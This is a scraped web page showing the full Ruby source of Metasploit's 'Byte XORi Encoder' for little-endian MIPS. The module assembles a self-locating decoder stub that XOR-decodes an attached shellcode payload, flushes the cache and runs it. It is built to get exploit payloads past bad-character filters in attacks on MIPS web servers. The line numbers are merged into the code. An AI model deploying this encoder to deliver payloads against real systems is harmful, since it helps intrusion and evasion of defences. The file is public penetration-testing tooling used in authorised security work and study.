Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/encoders/mipsle/byte_xori.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'metasm'67class MetasploitModule < Msf::Encoder::Xor8Rank = NormalRanking910def initialize11super(12'Name' => 'Byte XORi Encoder',13'Description' => %q{14Mips Web server exploit friendly xor encoder. This encoder has been found useful on15situations where '&' (0x26) is a badchar. Since 0x26 is the xor's opcode on MIPS16architectures, this one is based on the xori instruction.17},18'Author' =>19[20'Julien Tinnes <julien[at]cr0.org>', # original longxor encoder, which this one is based on21'juan vazquez', # byte_xori encoder22'Pedro Ribeiro <[email protected]>', # fix for Linux >= 2.6.11 (set up cacheflush() args properly)23],24'Arch' => ARCH_MIPSLE,25'License' => MSF_LICENSE,26'Decoder' =>27{28'KeySize' => 1,29'BlockSize' => 1,30'KeyPack' => 'C',31})32end3334#35# Returns the decoder stub that is adjusted for the size of the buffer36# being encoded.37#38def decoder_stub(state)3940# add 4 number of passes for the space reserved for the key, at the end of the decoder stub41# (see commented source)42number_of_passes=state.buf.length+443raise EncodingError.new("The payload being encoded is too long (#{state.buf.length} bytes)") if number_of_passes > 327664445# 16-bits not (again, see also commented source)46reg_14 = (number_of_passes+1)^0xFFFF47reg_5 = state.buf.length^0xFFFF4849decoder = Metasm::Shellcode.assemble(Metasm::MIPS.new(:little), <<EOS).encoded.data50main:5152li macro reg, imm53addiu reg, $0, imm ; 0xYYYYXX24 - xx: reg #, yyyy: imm # imm must be equal or less than 0x7fff54endm5556li ($14, #{reg_14}) ; 0xXXXX0e24 - store in $14 the number of passes (two's complement) - xxxx (number of passes)57nor $14, $14, $0 ; 0x2770c001 - get in $14 the number of passes58li ($11,-84) ; 0xacff0b24 - store in $11 the offset to the end of the decoder (two's complement) (from the addu instr)5960; acts as getpc61next:62bltzal $8, next ; 0xffff1005 - branch to next if $8 < 0, store return address in $31 ($ra); pipelining executes next instr.63slti $8, $0, 0x#{slti_imm(state)} ; 0xXXXX0828 - Set $8 = 0; Set $8 = 1 if $0 < imm; else $8 = 0 / xxxx: imm6465nor $11, $11, $0 ; 0x27586001 - get in $11 the offset to the end of the decoder (from the addu instr)66addu $25, $31, $11 ; 0x21c8eb03 - get in $25 a pointer to the end of the decoder stub67addu $16, $31, $11 ; $16 too (used to set up the cacheflush() arg down below)6869slti $23, $0, 0x#{slti_imm(state)} ; 0xXXXX1728 - Set $23 = 0 (Set $23 = 1 if $0 < imm; else $23 = 0) / xxxx: imm70lb $17, -1($25) ; 0xffff3183 - Load xor key in $17 (stored on the last byte of the decoder stub)7172; Init $6 and $1573li ($13, -4) ; 0xfcff0d24 - $13 = -474nor $6, $13, $0 ; 0x2730a001 - $6 = 3 ; used to easily get the cacheflush parameter75addi $15, $6, -2 ; 0xfeffcf20 - $15 = 1 ($15 = decoding loop counter increment)7677; In order avoid null bytes, decode also the xor key, so memory can be78; referenced with offset -179loop:80lb $8, -4($25) ; 0xfcff2883 - Load in $8 the byte to decode81addu $23, $23, $15 ; 0x21b8ef02 - Increment the counter ($23)82xori $3, $8, 0x#{padded_key(state)} ; 0xf2610339 - xori decoding instruction, store the decoded byte on $383#{set_on_less_than(state)} ; 0xXXf0ee02 - $30 = 1 if $23 < $14; else $30 = 0 (update branch condition) / xx: 0x2b if slti, 0x2a if slt84sb $3, -4($25) ; 0xfcff23a3 - Store decoded byte on memory85bne $0, $30, loop ; 0xfaffc017 - branch to loop if $30 != 0 (ranch while bytes to decode)86addu $25, $25, $15 ; 0x21c82f03 - next instruction to decode, executed because of the pipelining8788addiu $4, $16, -4 ; cacheflush() addr parameter89li( $10,#{reg_5}) ; cacheflush() nbytes parameter90nor $5, $10, $0 ; same as above9192li ($2, 4147) ; 0x33100224 - cacheflush system call93syscall 0x52950 ; 0x0c544a0194nop ; encoded shellcoded must be here (xor key right here ;) after decoding will result in a nop95EOS9697return decoder98end99100101def padded_key(state, size=1)102key = Rex::Text.rand_text(size, state.badchars)103key << [state.key].pack("C")104return key.unpack("n")[0].to_s(16)105end106107# Returns an two-bytes immediate value without badchars. The value must be108# on the 0x8000-0x8fff so it is used as negative value by slti (set less109# than signed immediate)110def slti_imm(state)111imm = Rex::Text.rand_text(2, state.badchars + (0x00..0x7f).to_a.pack("C*"))112return imm.unpack("n")[0].to_s(16)113end114115# Since 0x14 contains the number of passes, and because of the li macro, can't be116# longer than 0x7fff, both sltu (unsigned) and slt (signed) operations can be used117# here118def set_on_less_than(state)119instructions = {120"sltu $30, $23, $14" => "\x2b\xf0\xee\x02", # set less than unsigned121"slt $30, $23, $14" => "\x2a\xf0\xee\x02" # set less than122}123124instructions.each do |k,v|125if Rex::Text.badchar_index(v, state.badchars) == nil126return k127end128end129130raise BadcharError.new,131"The #{self.name} encoder failed to encode the decoder stub without bad characters.",132caller133end134135def encode_finalize_stub(state, stub)136# Including the key into the stub by ourselves because it should be located137# in the last 4 bytes of the decoder stub. In this way decoding will convert138# these bytes into a nop instruction (0x00000000). The Msf::Encoder only supports139# one decoder_key_offset position140real_key = state.key141stub[-4, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack)142stub[-3, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack)143stub[-2, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack)144stub[-1, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack)145return stub146end147end148149150